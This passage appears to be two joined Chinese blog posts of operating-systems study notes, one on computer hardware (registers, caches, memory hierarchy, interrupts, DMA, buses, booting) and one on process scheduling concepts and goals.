内部都会包含一些寄存器来保存关键变量和临时结果。因此,在指令集中通常会有一些指令用于把关键字从内存中加载到寄存器中,以及把关键字从寄存器存入到内存中。还有一些其他的指令会把来自寄存器和内存的操作数进行组合,例如 add 操作就会把两个操作数相加并把结果保存到内存中。除了用于保存变量和临时结果的通用寄存器外,大多数计算机还具有几个特殊的寄存器,这些寄存器对于程序员是可见的。其中之一就是 程序计数器(program counter),程序计数器会指示下一条需要从内存提取指令的地址。提取指令后,程序计数器将更新为下一条需要提取的地址。另一个寄存器是 堆栈指针(stack pointer),它指向内存中当前栈的顶端。堆栈指针会包含输入过程中的有关参数、局部变量以及没有保存在寄存器中的临时变量。还有一个寄存器是 PSW(Program Status Word) 程序状态字寄存器,这个寄存器是由操作系统维护的8个字节(64位) long 类型的数据集合。它会跟踪当前系统的状态。除非发生系统结束,否则我们可以忽略 PSW 。用户程序通常可以读取整个PSW,但通常只能写入其某些字段。PSW 在系统调用和 I / O 中起着重要作用。操作系统必须了解所有的寄存器。在时间多路复用(time multiplexing) 的 CPU 中,操作系统往往停止运行一个程序转而运行另外一个。每次当操作系统停止运行一个程序时,操作系统会保存所有寄存器的值,以便于后续重新运行该程序。为了提升性能, CPU 设计人员早就放弃了同时去读取、解码和执行一条简单的指令。许多现代的 CPU 都具有同时读取多条指令的机制。例如,一个 CPU 可能会有单独访问、解码和执行单元,所以,当 CPU 执行第 N 条指令时,还可以对 N + 1 条指令解码,还可以读取 N + 2 条指令。像这样的组织形式被称为 流水线(pipeline),比流水线更先进的设计是 超标量(superscalar) CPU,下面是超标量 CPU 的设计在上面这个设计中,存在多个执行单元,例如,一个用来进行整数运算、一个用来浮点数运算、一个用来布尔运算。两个或者更多的指令被一次性取出、解码并放入缓冲区中,直至它们执行完毕。只要一个执行单元空闲,就会去检查缓冲区是否有可以执行的指令。如果有,就把指令从缓冲区中取出并执行。这种设计的含义是应用程序通常是无序执行的。在大多数情况下,硬件负责保证这种运算的结果与顺序执行指令时的结果相同。除了用在嵌入式系统中非常简单的 CPU 之外,多数 CPU 都有两种模式,即前面已经提到的内核态和用户态。通常情况下,PSW 寄存器中的一个二进制位会控制当前状态是内核态还是用户态。当运行在内核态时,CPU 能够执行任何指令集中的指令并且能够使用硬件的功能。在台式机和服务器上,操作系统通常以内核模式运行,从而可以访问完整的硬件。在大多数嵌入式系统中,一部分运行在内核态下,剩下的一部分运行在用户态下。用户应用程序通常运行在用户态下,在用户态下,CPU 只能执行指令集中的一部分并且只能访问硬件的一部分功能。一般情况下,在用户态下,有关 I/O 和内存保护的所有指令是禁止执行的。当然,设置 PSW 模式的二进制位为内核态也是禁止的。为了获取操作系统的服务,用户程序必须使用 系统调用(system call),系统调用会转换为内核态并且调用操作系统。TRAP 指令用于把用户态切换为内核态并启用操作系统。当有关工作完成之后,在系统调用后面的指令会把控制权交给用户程序。我们会在后面探讨操作系统的调用细节。需要注意的是操作系统在进行系统调用时会存在陷阱。大部分的陷阱会导致硬件发出警告,比如说试图被零除或浮点下溢等。在所有的情况下,操作系统都能得到控制权并决定如何处理异常情况。有时,由于出错的原因,程序不得不停止。2.2多线程和多核芯片Intel Pentinum 4也就是奔腾处理器引入了被称为多线程(multithreading) 或 超线程(hyperthreading, Intel 公司的命名) 的特性,x86 处理器和其他一些 CPU 芯片就是这样做的。包括 SSPARC、Power5、Intel Xeon 和 Intel Core 系列 。近似地说,多线程允许 CPU 保持两个不同的线程状态并且在纳秒级(nanosecond) 的时间完成切换。线程是一种轻量级的进程,我们会在后面说到。例如,如果一个进程想要从内存中读取指令(这通常会经历几个时钟周期),多线程 CPU 则可以切换至另一个线程。多线程不会提供真正的并行处理。在一个时刻只有一个进程在运行。对于操作系统来讲,多线程是有意义的,因为每个线程对操作系统来说都像是一个单个的 CPU。比如一个有两个 CPU 的操作系统,并且每个 CPU 运行两个线程,那么这对于操作系统来说就可能是 4 个 CPU。除了多线程之外,现在许多 CPU 芯片上都具有四个、八个或更多完整的处理器或内核。多核芯片在其上有效地承载了四个微型芯片,每个微型芯片都有自己的独立CPU。2.3内存计算机中第二个主要的组件就是内存。理想情况下,内存应该非常快速(比执行一条指令要快,从而不会拖慢 CPU 执行效率),而且足够大且便宜,但是目前的技术手段无法满足三者的需求。于是采用了不同的处理方式,存储器系统采用一种分层次的结构顶层的存储器速度最高,但是容量最小,成本非常高,层级结构越向下,其访问效率越慢,容量越大,但是造价也就越便宜。寄存器存储器的顶层是 CPU 中的寄存器,它们用和 CPU 一样的材料制成,所以和 CPU 一样快。程序必须在软件中自行管理这些寄存器(即决定如何使用它们)高速缓存位于寄存器下面的是高速缓存,它多数由硬件控制。主存被分割成高速缓存行(cache lines) 为 64 字节,内存地址的 0 - 63 对应高速缓存行 0 ,地址 64 - 127 对应高速缓存行的 1,等等。使用最频繁的高速缓存行保存在位于 CPU 内部或非常靠近 CPU 的高速缓存中。当应用程序需要从内存中读取关键词的时候,高速缓存的硬件会检查所需要的高速缓存行是否在高速缓存中。如果在的话,那么这就是高速缓存命中(cache hit)。高速缓存满足了该请求,并且没有通过总线将内存请求发送到主内存。高速缓存命中通常需要花费两个时钟周期。缓存未命中需要从内存中提取,这会消耗大量的时间。高速缓存行会限制容量的大小因为它的造价非常昂贵。有一些机器会有两个或者三个高速缓存级别,每一级高速缓存比前一级慢且容量更大。缓存在计算机很多领域都扮演了非常重要的角色,不仅仅是 RAM 缓存行。随机存储器(RAM): 内存中最重要的一种,表示既可以从中读取数据,也可以写入数据。当机器关闭时,内存中的信息会 丢失。大量的可用资源被划分为小的部分,这些可用资源的一部分会获得比其他资源更频繁的使用权,缓存经常用来提升性能。操作系统无时无刻的不在使用缓存。例如,大多数操作系统在主机内存中保留(部分)频繁使用的文件,以避免重复从磁盘重复获取。举个例子,类似于 /home/ast/projects/minix3/src/kernel/clock.c 这样的场路径名转换成的文件所在磁盘地址的结果也可以保存缓存中,以避免重复寻址。另外,当一个 Web 页面(URL) 的地址转换为网络地址(IP地址)后,这个转换结果也可以缓存起来供将来使用。在任何缓存系统中,都会有下面这几个急需解决的问题何时把新的内容放进缓存把新的内容应该放在缓存的哪一行在需要空闲空间时,应该把哪块内容从缓存中移除应该把移除的内容放在某个较大存储器的何处并不是每个问题都与每种缓存情况有关。对于 CPU 缓存中的主存缓存行,当有缓存未命中时,就会调入新的内容。通常通过所引用内存地址的高位计算应该使用的缓存行。缓存是解决问题的一种好的方式,所以现代 CPU 设计了两种缓存。第一级缓存或者说是 L1 cache 总是位于 CPU 内部,用来将已解码的指令调入 CPU 的执行引擎。对于那些频繁使用的关键字,多数芯片有第二个 L1 cache 。典型的 L1 cache 的大小为 16 KB。另外,往往还设有二级缓存,也就是 L2 cache,用来存放最近使用过的关键字,一般是兆字节为单位。L1 cache 和 L2 cache 最大的不同在于是否存在延迟。访问 L1 cache 没有任何的延迟,然而访问 L2 cache 会有 1 - 2 个时钟周期的延迟。什么是时钟周期?计算机处理器或 CPU 的速度由时钟周期来确定,该时钟周期是振荡器两个脉冲之间的时间量。一般而言,每秒脉冲数越高,计算机处理器处理信息的速度就越快。 时钟速度以 Hz 为单位测量,通常为兆赫(MHz)或千兆赫(GHz)。 例如,一个4 GHz处理器每秒执行4,000,000,000个时钟周期。计算机处理器可以在每个时钟周期执行一条或多条指令,这具体取决于处理器的类型。 早期的计算机处理器和较慢的 CPU 在每个时钟周期只能执行一条指令,而现代处理器在每个时钟周期可以执行多条指令。主存在上面的层次结构中再下一层是主存,这是内存系统的主力军,主存通常叫做 RAM(Random Access Memory),由于 1950 年代和 1960 年代的计算机使用微小的可磁化铁氧体磁芯作为主存储器,因此旧时有时将其称为核心存储器。所有不能在高速缓存中得到满足的内存访问请求都会转往主存中。除了主存之外,许多计算机还具有少量的非易失性随机存取存储器。它们与 RAM 不同,在电源断电后,非易失性随机访问存储器并不会丢失内容。ROM(Read Only Memory) 中的内容一旦存储后就不会再被修改。它非常快而且便宜。(如果有人问你,有没有什么又快又便宜的内存设备,那就是 ROM 了)在计算机中,用于启动计算机的引导加载模块(也就是 bootstrap )就存放在 ROM 中。另外,一些 I/O 卡也采用 ROM 处理底层设备控制。EEPROM(Electrically Erasable PROM,) 和 闪存(flash memory) 也是非易失性的,但是与 ROM 相反,它们可以擦除和重写。不过重写它们需要比写入 RAM 更多的时间,所以它们的使用方式与 ROM 相同,但是与 ROM 不同的是他们可以通过重写字段来纠正程序中出现的错误。闪存也通常用来作为便携性的存储媒介。闪存是数码相机中的胶卷,是便携式音乐播放器的磁盘。闪存的速度介于 RAM 和磁盘之间。另外,与磁盘存储器不同的是,如果闪存擦除的次数太多,会出现磨损。还有一类是 CMOS,它是易失性的。许多计算机都会使用 CMOS 存储器保持当前时间和日期。磁盘下一个层次是磁盘(硬盘),磁盘同 RAM 相比,每个二进制位的成本低了两个数量级,而且经常也有两个数量级大的容量。磁盘唯一的问题是随机访问数据时间大约慢了三个数量级。磁盘访问慢的原因是因为磁盘的构造不同磁盘是一种机械装置,在一个磁盘中有一个或多个金属盘片,它们以 5400rpm、7200rpm、10800rpm 或更高的速度旋转。从边缘开始有一个机械臂悬横在盘面上,这类似于老式播放塑料唱片 33 转唱机上的拾音臂。信息会写在磁盘一系列的同心圆上。在任意一个给定臂的位置,每个磁头可以读取一段环形区域,称为磁道(track)。把一个给定臂的位置上的所有磁道合并起来,组成了一个柱面(cylinder)。每个磁道划分若干扇区,扇区的值是 512 字节。在现代磁盘中,较外部的柱面比较内部的柱面有更多的扇区。机械臂从一个柱面移动到相邻的柱面大约需要 1ms。而随机移到一个柱面的典型时间为 5ms 至 10ms,具体情况以驱动器为准。一旦磁臂到达正确的磁道上,驱动器必须等待所需的扇区旋转到磁头之下,就开始读写,低端硬盘的速率是50MB/s,而高速磁盘的速率是 160MB/s。需要注意,固态硬盘(Solid State Disk, SSD)不是磁盘,固态硬盘并没有可以移动的部分,外形也不像唱片,并且数据是存储在存储器(闪存)中,与磁盘唯一的相似之处就是它也存储了大量即使在电源关闭也不会丢失的数据。许多计算机支持一种著名的虚拟内存机制,这种机制使得期望运行的存储空间大于实际的物理存储空间。其方法是将程序放在磁盘上,而将主存作为一部分缓存,用来保存最频繁使用的部分程序,这种机制需要快速映像内存地址,用来把程序生成的地址转换为有关字节在 RAM 中的物理地址。这种映像由 CPU 中的一个称为 存储器管理单元(Memory Management Unit, MMU) 的部件来完成。缓存和 MMU 的出现是对系统的性能有很重要的影响,在多道程序系统中,从一个程序切换到另一个程序的机制称为 上下文切换(context switch),对来自缓存中的资源进行修改并把其写回磁盘是很有必要的。2.4I/O 设备CPU 和存储器不是操作系统需要管理的全部,I/O 设备也与操作系统关系密切。可以参考上面这个图片,I/O 设备一般包括两个部分:设备控制器和设备本身。控制器本身是一块芯片或者一组芯片,它能够控制物理设备。它能够接收操作系统的指令,例如,从设备中读取数据并完成数据的处理。在许多情况下,实际控制设备的过程是非常复杂而且存在诸多细节。因此控制器的工作就是为操作系统提供一个更简单(但仍然非常复杂)的接口。也就是屏蔽物理细节。任何复杂的东西都可以加一层代理来解决,这是计算机或者人类社会很普世的一个解决方案I/O 设备另一部分是设备本身,设备本身有一个相对简单的接口,这是因为接口既不能做很多工作,而且也已经被标准化了。例如,标准化后任何一个 SATA 磁盘控制器就可以适配任意一种 SATA 磁盘,所以标准化是必要的。ATA 代表 高级技术附件(AT Attachment),而 SATA 表示串行高级技术附件(Serial ATA)。AT 是啥?它是 IBM 公司的第二代个人计算机的高级技术成果,使用 1984 年推出的 6MHz 80286 处理器,这个处理器是当时最强大的。像是高级这种词汇应该慎用,否则 20 年后再回首很可能会被无情打脸。现在 SATA 是很多计算机的标准硬盘接口。由于实际的设备接口隐藏在控制器中,所以操作系统看到的是对控制器的接口,这个接口和设备接口有很大区别。每种类型的设备控制器都是不同的,所以需要不同的软件进行控制。专门与控制器进行信息交流,发出命令处理指令接收响应的软件,称为 设备驱动程序(device driver)。 每个控制器厂家都应该针对不同的操作系统提供不同的设备驱动程序。为了使设备驱动程序能够工作,必须把它安装在操作系统中,这样能够使它在内核态中运行。要将设备驱动程序装入操作系统,一般有三个途径第一个途径是将内核与设备启动程序重新连接,然后重启系统。这是 UNIX 系统采用的工作方式第二个途径是在一个操作系统文件中设置一个入口,通知该文件需要一个设备驱动程序,然后重新启动系统。在重启系统时,操作系统会寻找有关的设备启动程序并把它装载,这是 Windows 采用的工作方式第三个途径是操作系统能够在运行时接收新的设备驱动程序并立刻安装,无需重启操作系统,这种方式采用的少,但是正变得普及起来。热插拔设备,比如 USB 和 IEEE 1394 都需要动态可装载的设备驱动程序。每个设备控制器都有少量用于通信的寄存器,例如,一个最小的磁盘控制器也会有用于指定磁盘地址、内存地址、扇区计数的寄存器。要激活控制器,设备驱动程序回从操作系统获取一条指令,然后翻译成对应的值,并写入设备寄存器中,所有设备寄存器的结合构成了 I/O 端口空间 。在一些计算机中,设备寄存器会被映射到操作系统的可用地址空间,使他们能够向内存一样完成读写操作。在这种计算机中,不需要专门的 I/O 指令,用户程序可以被硬件阻挡在外,防止其接触这些存储器地址(例如,采用基址寄存器和变址寄存器)。在另一些计算机中,设备寄存器被放入一个专门的 I/O 端口空间,每个寄存器都有一个端口地址。在这些计算机中,特殊的 IN 和 OUT 指令会在内核态下启用,它能够允许设备驱动程序和寄存器进行读写。前面第一种方式会限制特殊的 I/O 指令但是允许一些地址空间;后者不需要地址空间但是需要特殊的指令,这两种应用都很广泛。实现输入和输出的方式有三种。在最简单的方式中,用户程序会发起系统调用,内核会将其转换为相应驱动程序的程序调用,然后设备驱动程序启动 I/O 并循环检查该设备,看该设备是否完成了工作(一般会有一些二进制位用来指示设备仍在忙碌中)。当 I/O 调用完成后,设备驱动程序把数据送到指定的地方并返回。然后操作系统会将控制权交给调用者。这种方式称为 忙等待(busy waiting),这种方式的缺点是要一直占据 CPU,CPU 会一直轮询 I/O 设备直到 I/O 操作完成。第二种方式是设备驱动程序启动设备并且让该设备在操作完成时发生中断。设备驱动程序在这个时刻返回。操作系统接着在需要时阻塞调用者并安排其他工作进行。当设备驱动程序检测到该设备操作完成时,它发出一个 中断 通知操作完成。在操作系统中,中断是非常重要的,所以这需要更加细致的讨论一下。如上图所示,这是一个三步的 I/O 过程,第一步,设备驱动程序会通过写入设备寄存器告诉控制器应该做什么。然后,控制器启动设备。当控制器完成读取或写入被告知需要传输的字节后,它会在步骤 2 中使用某些总线向中断控制器发送信号。如果中断控制器准备好了接收中断信号(如果正忙于一个优先级较高的中断,则可能不会接收),那么它就会在 CPU 的一个引脚上面声明。这就是步骤3在第四步中,中断控制器把该设备的编号放在总线上,这样 CPU 可以读取总线,并且知道哪个设备完成了操作(可能同时有多个设备同时运行)。一旦 CPU 决定去实施中断后,程序计数器和 PSW 就会被压入到当前堆栈中并且 CPU 会切换到内核态。设备编号可以作为内存的一个引用,用来寻找该设备中断处理程序的地址。这部分内存称作中断向量(interrupt vector)。一旦中断处理程序(中断设备的设备驱动程序的一部分)开始后,它会移除栈中的程序计数器和 PSW 寄存器,并把它们进行保存,然后查询设备的状态。在中断处理程序全部完成后,它会返回到先前用户程序尚未执行的第一条指令,这个过程如下实现 I/O 的第三种方式是使用特殊的硬件:直接存储器访问(Direct Memory Access, DMA) 芯片。它可以控制内存和某些控制器之间的位流,而无需 CPU 的干预。CPU 会对 DMA 芯片进行设置,说明需要传送的字节数,有关的设备和内存地址以及操作方向。当 DMA 芯片完成后,会造成中断,中断过程就像上面描述的那样。我们会在后面具体讨论中断过程当另一个中断处理程序正在运行时,中断可能(并且经常)发生在不合宜的时间。 因此,CPU 可以禁用中断,并且可以在之后重启中断。在 CPU 关闭中断后,任何已经发出中断的设备,可以继续保持其中断信号处理,但是 CPU 不会中断,直至中断再次启用为止。如果在关闭中断时,已经有多个设备发出了中断信号,中断控制器将决定优先处理哪个中断,通常这取决于事先赋予每个设备的优先级,最高优先级的设备优先赢得中断权,其他设备则必须等待。2.5总线上面的结构(简单个人计算机的组件图)在小型计算机已经使用了多年,并用在早期的 IBM PC 中。然而,随着处理器核内存变得越来越快,单个总线处理所有请求的能力也达到了上限,其中也包括 IBM PC 总线。必须放弃使用这种模式。其结果导致了其他总线的出现,它们处理 I/O 设备以及 CPU 到存储器的速度都更快。这种演变的结果导致了下面这种结构的出现。上图中的 x86 系统包含很多总线,高速缓存、内存、PCIe、PCI、USB、SATA 和 DMI,每条总线都有不同的传输速率和功能。操作系统必须了解所有的总线配置和管理。其中最主要的总线是 PCIe(Peripheral Component Interconnect Express) 总线。Intel 发明的 PCIe 总线也是作为之前古老的 PCI 总线的继承者,而古老的 PCI 总线也是为了取代古董级别的 ISA(Industry Standard Architecture) 总线而设立的。数十 Gb/s 的传输能力使得 PCIe 比它的前身快很多,而且它们本质上也十分不同。直到发明 PCIe 的 2004 年,大多数总线都是并行且共享的。共享总线架构(shared bus architeture) 表示多个设备使用一些相同的电线传输数据。因此,当多个设备同时发送数据时,此时你需要一个决策者来决定谁能够使用总线。而 PCIe 则不一样,它使用专门的端到端链路。传统 PCI 中使用的并行总线架构(parallel bus architecture) 表示通过多条电线发送相同的数据字。例如,在传统的 PCI 总线上,一个 32 位数据通过 32 条并行的电线发送。而 PCIe 则不同,它选用了串行总线架构(serial bus architecture) ,并通过单个连接(称为通道)发送消息中的所有比特数据,就像网络数据包一样。这样做会简化很多,因为不再确保所有 32 位数据在同一时刻准确到达相同的目的地。通过将多个数据通路并行起来,并行性仍可以有效利用。例如,可以使用 32 条数据通道并行传输 32 条消息。在上图结构中,CPU 通过 DDR3 总线与内存对话,通过 PCIe 总线与外围图形设备 (GPU)对话,通过 DMI(Direct Media Interface)总线经集成中心与所有其他设备对话。而集成控制中心通过串行总线与 USB 设备对话,通过 SATA 总线与硬盘和 DVD 驱动器对话,通过 PCIe 传输以太网络帧。USB(Universal Serial Bus) 是用来将所有慢速 I/O 设备(比如键盘和鼠标)与计算机相连的设备。USB 1.0 可以处理总计 12 Mb/s 的负载,而 USB 2.0 将总线速度提高到 480Mb/s ,而 USB 3.0 能达到不小于 5Gb/s 的速率。所有的 USB 设备都可以直接连接到计算机并能够立刻开始工作,而不像之前那样要求重启计算机。SCSI(Small Computer System Interface) 总线是一种高速总线,用在高速硬盘,扫描仪和其他需要较大带宽的设备上。现在,它们主要用在服务器和工作站中,速度可以达到 640MB/s 。2.6计算机启动过程那么有了上面一些硬件再加上操作系统的支持,我们的计算机就可以开始工作了,那么计算机的启动过程是怎样的呢?下面只是一个简要版的启动过程在每台计算机上有一块双亲板,也就是母板,母板也就是主板,它是计算机最基本也就是最重要的部件之一。主板一般为矩形电路板,上面安装了组成计算机的主要电路系统,一般有 BIOS 芯片、I/O 控制芯片、键盘和面板控制开关接口、指示灯插接件、扩充插槽、主板及插卡的直流电源供电接插件等元件。在母板上有一个称为 基本输入输出系统(Basic Input Output System, BIOS)的程序。在 BIOS 内有底层 I/O 软件,包括读键盘、写屏幕、磁盘I/O 以及其他过程。如今,它被保存在闪存中,它是非易失性的,但是当BIOS 中发现错误时,可以由操作系统进行更新。在计算机启动(booted)时,BIOS 开启,它会首先检查所安装的 RAM 的数量,键盘和其他基础设备是否已安装并且正常响应。接着,它开始扫描 PCIe 和 PCI 总线并找出连在上面的所有设备。即插即用的设备也会被记录下来。如果现有的设备和系统上一次启动时的设备不同,则新的设备将被重新配置。然后,BIOS 通过尝试存储在 CMOS 存储器中的设备清单尝试启动设备。CMOS是 Complementary Metal Oxide Semiconductor(互补金属氧化物半导体)的缩写。它是指制造大规模集成电路芯片用的一种技术或用这种技术制造出来的芯片,是电脑主板上的一块可读写的 RAM 芯片。因为可读写的特性,所以在电脑主板上用来保存 BIOS 设置完电脑硬件参数后的数据,这个芯片仅仅是用来存放数据的。而对 BIOS 中各项参数的设定要通过专门的程序。BIOS 设置程序一般都被厂商整合在芯片中,在开机时通过特定的按键就可进入 BIOS 设置程序,方便地对系统进行设置。因此 BIOS 设置有时也被叫做 CMOS 设置。用户可以在系统启动后进入一个 BIOS 配置程序,对设备清单进行修改。然后,判断是否能够从外部 CD-ROM 和 USB 驱动程序启动,如果启动失败的话(也就是没有),系统将从硬盘启动,boots 设备中的第一个扇区被读入内存并执行。该扇区包含一个程序,该程序通常在引导扇区末尾检查分区表以确定哪个分区处于活动状态。然后从该分区读入第二个启动加载程序,该加载器从活动分区中读取操作系统并启动它。然后操作系统会询问 BIOS 获取配置信息。对于每个设备来说,会检查是否有设备驱动程序。如果没有,则会向用户询问是否需要插入 CD-ROM 驱动(由设备制造商提供)或者从 Internet 上下载。一旦有了设备驱动程序,操作系统会把它们加载到内核中,然后初始化表,创建所需的后台进程,并启动登录程序或GUI。
0
0
0
浏览量2038
爱喝奶茶的波波

线程和进程-调度

四、调度当一个计算机是多道程序设计系统时,会频繁的有很多进程或者线程来同时竞争 CPU 时间片。当两个或两个以上的进程/线程处于就绪状态时,就会发生这种情况。如果只有一个 CPU 可用,那么必须选择接下来哪个进程/线程可以运行。操作系统中有一个叫做 调度程序(scheduler) 的角色存在,它就是做这件事儿的,该程序使用的算法叫做 调度算法(scheduling algorithm) 。尽管有一些不同,但许多适用于进程调度的处理方法同样也适用于线程调度。当内核管理线程的时候,调度通常会以线程级别发生,很少或者根本不会考虑线程属于哪个进程。下面我们会首先专注于进程和线程的调度问题,然后会明确的介绍线程调度以及它产生的问题。4.1调度介绍让我们回到早期以磁带上的卡片作为输入的批处理系统的时代,那时候的调度算法非常简单:依次运行磁带上的每一个作业。对于多道程序设计系统,会复杂一些,因为通常会有多个用户在等待服务。一些大型机仍然将 批处理和 分时服务结合使用,需要调度程序决定下一个运行的是一个批处理作业还是终端上的用户。由于在这些机器中 CPU 是稀缺资源,所以好的调度程序可以在提高性能和用户的满意度方面取得很大的成果。进程行为几乎所有的进程(磁盘或网络)I/O 请求和计算都是交替运行的如上图所示,CPU 不停顿的运行一段时间,然后发出一个系统调用等待 I/O 读写文件。完成系统调用后,CPU 又开始计算,直到它需要读更多的数据或者写入更多的数据为止。当一个进程等待外部设备完成工作而被阻塞时,才是 I/O 活动。上面 a 是 CPU 密集型进程;b 是 I/O 密集型进程进程,a 因为在计算的时间上花费时间更长,因此称为计算密集型(compute-bound) 或者 CPU 密集型(CPU-bound) ,b 因为I/O 发生频率比较快因此称为 I/O 密集型(I/O-bound)。计算密集型进程有较长的 CPU 集中使用和较小频度的 I/O 等待。I/O 密集型进程有较短的 CPU 使用时间和较频繁的 I/O 等待。注意到上面两种进程的区分关键在于 CPU 的时间占用而不是 I/O 的时间占用。I/O 密集型的原因是因为它们没有在 I/O 之间花费更多的计算、而不是 I/O 请求时间特别长。无论数据到达后需要花费多少时间,它们都需要花费相同的时间来发出读取磁盘块的硬件请求。值得注意的是,随着 CPU 的速度越来越快,更多的进程倾向于 I/O 密集型。这种情况出现的原因是 CPU 速度的提升要远远高于硬盘。这种情况导致的结果是,未来对 I/O 密集型进程的调度处理似乎更为重要。这里的基本思想是,如果需要运行 I/O 密集型进程,那么就应该让它尽快得到机会,以便发出磁盘请求并保持磁盘始终忙碌。何时调度第一个和调度有关的问题是何时进行调度决策。存在着需要调度处理的各种情形。首先,在创建一个新进程后,需要决定是运行父进程还是子进程。因为二者的进程都处于就绪态下,这是正常的调度决策,可以任意选择,也就是说,调度程序可以任意的选择子进程或父进程开始运行。第二,在进程退出时需要作出调度决定。因为此进程不再运行(因为它将不再存在),因此必须从就绪进程中选择其他进程运行。如果没有进程处于就绪态,系统提供的空闲进程通常会运行什么是空闲进程空闲进程(system-supplied idle process) 是 Microsoft 公司 windows 操作系统带有的系统进程,该进程是在各个处理器上运行的单个线程,它唯一的任务是在系统没有处理其他线程时占用处理器时间。System Idle Process 并不是一个真正的进程,它是核心虚拟出来的,多任务操作系统都存在。在没有可用的进程时,系统处于空运行状态,此时就是System Idle Process 在正在运行。你可以简单的理解成,它代表的是 CPU 的空闲状态,数值越大代表处理器越空闲,可以通过 Windows 任务管理器查看 Windows 中的 CPU 利用率第三种情况是,当进程阻塞在 I/O 、信号量或其他原因时,必须选择另外一个进程来运行。有时,阻塞的原因会成为选择进程运行的关键因素。例如,如果 A 是一个重要进程,并且它正在等待 B 退出关键区域,让 B 退出关键区域从而使 A 得以运行。但是调度程序一般不会对这种情况进行考量。第四点,当 I/O 中断发生时,可以做出调度决策。如果中断来自 I/O 设备,而 I/O 设备已经完成了其工作,那么那些等待 I/O 的进程现在可以继续运行。由调度程序来决定是否准备运行新的进程还是重新运行已经中断的进程。如果硬件时钟以 50 或 60 Hz 或其他频率提供周期性中断,可以在每个时钟中断或第 k 个时钟中断处做出调度决策。根据如何处理时钟中断可以把调度算法可以分为两类。非抢占式(nonpreemptive) 调度算法挑选一个进程,让该进程运行直到被阻塞(阻塞在 I/O 上或等待另一个进程),或者直到该进程自动释放 CPU。即使该进程运行了若干个小时后,它也不会被强制挂起。这样会在时钟中断发生时不会进行调度。在处理完时钟中断后,如果没有更高优先级的进程等待,则被中断的进程会继续执行。另外一种情况是 抢占式 调度算法,它会选择一个进程,并使其在最大固定时间内运行。如果在时间间隔结束后仍在运行,这个进程会被挂起,调度程序会选择其他进程来运行(前提是存在就绪进程)。进行抢占式调度需要在时间间隔结束时发生时钟中断,以将 CPU 的控制权交还给调度程序。如果没有可用的时钟,那么非抢占式就是唯一的选择。调度算法的分类毫无疑问,不同的环境下需要不同的调度算法。之所以出现这种情况,是因为不同的应用程序和不同的操作系统有不同的目标。也就是说,在不同的系统中,调度程序的优化也是不同的。这里有必要划分出三种环境批处理(Batch)交互式(Interactive)实时(Real time)批处理系统广泛应用于商业领域,比如用来处理工资单、存货清单、账目收入、账目支出、利息计算、索赔处理和其他周期性作业。在批处理系统中,一般会选择使用非抢占式算法或者周期性比较长的抢占式算法。这种方法可以减少线程切换因此能够提升性能。在交互式用户环境中,为了避免一个进程霸占 CPU 拒绝为其他进程服务,所以需要抢占式算法。即使没有进程有意要一直运行下去,但是,由于某个进程出现错误也有可能无限期的排斥其他所有进程。为了避免这种情况,抢占式也是必须的。服务器也属于此类别,因为它们通常为多个(远程)用户提供服务,而这些用户都非常着急。计算机用户总是很忙。在实时系统中,抢占有时是不需要的,因为进程知道自己可能运行不了很长时间,通常很快的做完自己的工作并阻塞。实时系统与交互式系统的差别是,实时系统只运行那些用来推进现有应用的程序,而交互式系统是通用的,它可以运行任意的非协作甚至是有恶意的程序。调度算法的目标为了设计调度算法,有必要考虑一下什么是好的调度算法。有一些目标取决于环境(批处理、交互式或者实时)蛋大部分是适用于所有情况的,下面是一些需要考量的因素,我们会在下面一起讨论。所有系统在所有的情况中,公平是很重要的。对一个进程给予相较于其他等价的进程更多的 CPU 时间片对其他进程来说是不公平的。当然,不同类型的进程可以采用不同的处理方式。与公平有关的是系统的强制执行,什么意思呢?如果某公司的薪资发放系统计划在本月的15号,那么碰上了疫情大家生活都很拮据,此时老板说要在14号晚上发放薪资,那么调度程序必须强制使进程执行 14 号晚上发放薪资的策略。另一个共同的目标是保持系统的所有部分尽可能的忙碌。如果 CPU 和所有的 I/O 设备能够一直运行,那么相对于让某些部件空转而言,每秒钟就可以完成更多的工作。例如,在批处理系统中,调度程序控制哪个作业调入内存运行。在内存中既有一些 CPU 密集型进程又有一些 I/O 密集型进程是一个比较好的想法,好于先调入和运行所有的 CPU 密集型作业,然后在它们完成之后再调入和运行所有 I/O 密集型作业的做法。使用后者这种方式会在 CPU 密集型进程启动后,争夺 CPU ,而磁盘却在空转,而当 I/O 密集型进程启动后,它们又要为磁盘而竞争,CPU 却又在空转。。。。。。显然,通过结合 I/O 密集型和 CPU 密集型,能够使整个系统运行更流畅,效率更高。批处理系统通常有三个指标来衡量系统工作状态:吞吐量、周转时间和 CPU 利用率,吞吐量(throughout) 是系统每小时完成的作业数量。综合考虑,每小时完成 50 个工作要比每小时完成 40 个工作好。周转时间(Turnaround time) 是一种平均时间,它指的是从一个批处理提交开始直到作业完成时刻为止平均时间。该数据度量了用户要得到输出所需的平均等待时间。周转时间越小越好。CPU 利用率(CPU utilization) 通常作为批处理系统上的指标。即使如此, CPU 利用率也不是一个好的度量指标,真正有价值的衡量指标是系统每小时可以完成多少作业(吞吐量),以及完成作业需要多长时间(周转时间)。把 CPU 利用率作为度量指标,就像是引擎每小时转动了多少次来比较汽车的性能一样。而且知道 CPU 的利用率什么时候接近 100% 要比什么时候要求得到更多的计算能力要有用。交互式系统对于交互式系统,则有不同的指标。最重要的是尽量减少响应时间。这个时间说的是从执行指令开始到得到结果的时间。再有后台进程运行(例如,从网络上读取和保存 E-mail 文件)的个人计算机上,用户请求启动一个程序或打开一个文件应该优先于后台的工作。能够让所有的交互式请求首先运行的就是一个好的服务。一个相关的问题是 均衡性(proportionality),用户对做一件事情需要多长时间总是有一种固定(不过通常不正确)的看法。当认为一个请求很复杂需要较多时间时,用户会认为很正常并且可以接受,但是一个很简单的程序却花费了很长的运行时间,用户就会很恼怒。可以拿彩印和复印来举出一个简单的例子,彩印可能需要1分钟的时间,但是用户觉得复杂并且愿意等待一分钟,相反,复印很简单只需要 5 秒钟,但是复印机花费 1 